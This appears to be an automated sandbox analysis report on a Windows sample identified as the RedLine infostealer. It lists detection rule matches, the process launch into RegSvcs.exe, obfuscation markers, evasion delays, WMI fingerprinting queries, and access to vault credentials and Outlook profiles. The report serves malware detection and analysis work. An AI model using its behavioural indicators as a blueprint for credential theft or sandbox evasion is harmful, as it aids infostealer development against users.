                    Source: 2.2.RegSvcs.exe.3856458.5.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                    Source: 2.2.RegSvcs.exe.38a2d90.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.4db0ee8.6.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.262fdc6.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.4db0000.7.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.3855570.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.3856458.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.4db0000.7.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.38a2d90.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.3855570.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.262eede.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 00000002.00000002.3359746953.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                    Source: 00000000.00000002.2119261873.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                    Source: 00000002.00000002.3362799137.00000000050A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.4db0ee8.6.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
                    Source: 2.2.RegSvcs.exe.4db0ee8.6.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
                    Source: 2.2.RegSvcs.exe.262fdc6.2.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
                    Source: 2.2.RegSvcs.exe.262fdc6.2.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
                    Source: 2.2.RegSvcs.exe.3856458.5.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
                    Source: 2.2.RegSvcs.exe.3856458.5.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
                    Source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, RsYAkkzVoy.csCryptographic APIs: 'TransformFinalBlock'
                    Source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, Kqqzixk.csCryptographic APIs: 'TransformFinalBlock'
                    Source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, xROdzGigX.csCryptographic APIs: 'TransformFinalBlock'
                    Source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, ywes.csCryptographic APIs: 'TransformFinalBlock'
                    Source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, iPVW0zV.csCryptographic APIs: 'CreateDecryptor', 'TransformBlock'
                    Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@3/1@1/1
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0044AF5C GetLastError,FormatMessageW,0_2_0044AF5C
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,0_2_00464422
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,0_2_0045D517
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,0_2_0043701F
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,0_2_0047A999
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,0_2_0043614F
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeMutant created: NULL
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeFile created: C:\Users\user\AppData\Local\Temp\spadoJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCommand line argument: #v0_2_0040D7F0
                    Source: w6dnPra4mx.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeFile read: C:\Users\desktop.iniJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                    Source: w6dnPra4mx.exeReversingLabs: Detection: 71%
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeFile read: C:\Users\user\Desktop\w6dnPra4mx.exeJump to behavior
                    Source: unknownProcess created: C:\Users\user\Desktop\w6dnPra4mx.exe "C:\Users\user\Desktop\w6dnPra4mx.exe"
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\w6dnPra4mx.exe"
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\w6dnPra4mx.exe"Jump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeSection loaded: wsock32.dllJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeSection loaded: version.dllJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeSection loaded: winmm.dllJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeSection loaded: mpr.dllJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeSection loaded: wininet.dllJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\ProfilesJump to behavior
                    Source: w6dnPra4mx.exeStatic file information: File size 1264127 > 1048576
                    Source: Binary string: _.pdb source: RegSvcs.exe, 00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3360711137.00000000025EE000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmp
                    Source: Binary string: wntdll.pdbUGP source: w6dnPra4mx.exe, 00000000.00000003.2112613588.00000000044F0000.00000004.00001000.00020000.00000000.sdmp, w6dnPra4mx.exe, 00000000.00000003.2112342111.0000000004690000.00000004.00001000.00020000.00000000.sdmp
                    Source: Binary string: wntdll.pdb source: w6dnPra4mx.exe, 00000000.00000003.2112613588.00000000044F0000.00000004.00001000.00020000.00000000.sdmp, w6dnPra4mx.exe, 00000000.00000003.2112342111.0000000004690000.00000004.00001000.00020000.00000000.sdmp

                    Data Obfuscation

                    barindex
                    Source: 2.2.RegSvcs.exe.4db0ee8.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
                    Source: 2.2.RegSvcs.exe.262fdc6.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
                    Source: 2.2.RegSvcs.exe.3856458.5.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
                    Source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
                    Source: 2.2.RegSvcs.exe.38a2d90.3.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
                    Source: w6dnPra4mx.exeStatic PE information: real checksum: 0xa2135 should be: 0x13f84b
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004171D1 push ecx; ret 0_2_004171E4
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_0041C40C push cs; iretd 2_2_0041C4E2
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_00423149 push eax; ret 2_2_00423179
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_0041C50E push cs; iretd 2_2_0041C4E2
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_004231C8 push eax; ret 2_2_00423179
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_0040E21D push ecx; ret 2_2_0040E230
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_0041C6BE push ebx; ret 2_2_0041C6BF
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_05E2DEA0 push esp; retf 04E7h2_2_05E2E1A9
                    Source: 2.2.RegSvcs.exe.4db0ee8.6.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'UcQnp7ZPVLfKu', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
                    Source: 2.2.RegSvcs.exe.262fdc6.2.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'UcQnp7ZPVLfKu', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
                    Source: 2.2.RegSvcs.exe.3856458.5.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'UcQnp7ZPVLfKu', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
                    Source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'UcQnp7ZPVLfKu', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
                    Source: 2.2.RegSvcs.exe.38a2d90.3.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'UcQnp7ZPVLfKu', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_004772DE
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                    Malware Analysis System Evasion

                    barindex
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004440780_2_00444078
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeAPI/Special instruction interceptor: Address: 3EF324C
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,2_2_004019F0
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWindow / User API: threadDelayed 819Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWindow / User API: threadDelayed 4078Jump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-86219
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeEvasive API call chain: GetModuleFileName,DecisionNodes,Sleepgraph_0-84948
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeAPI coverage: 3.0 %
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477Jump to behavior
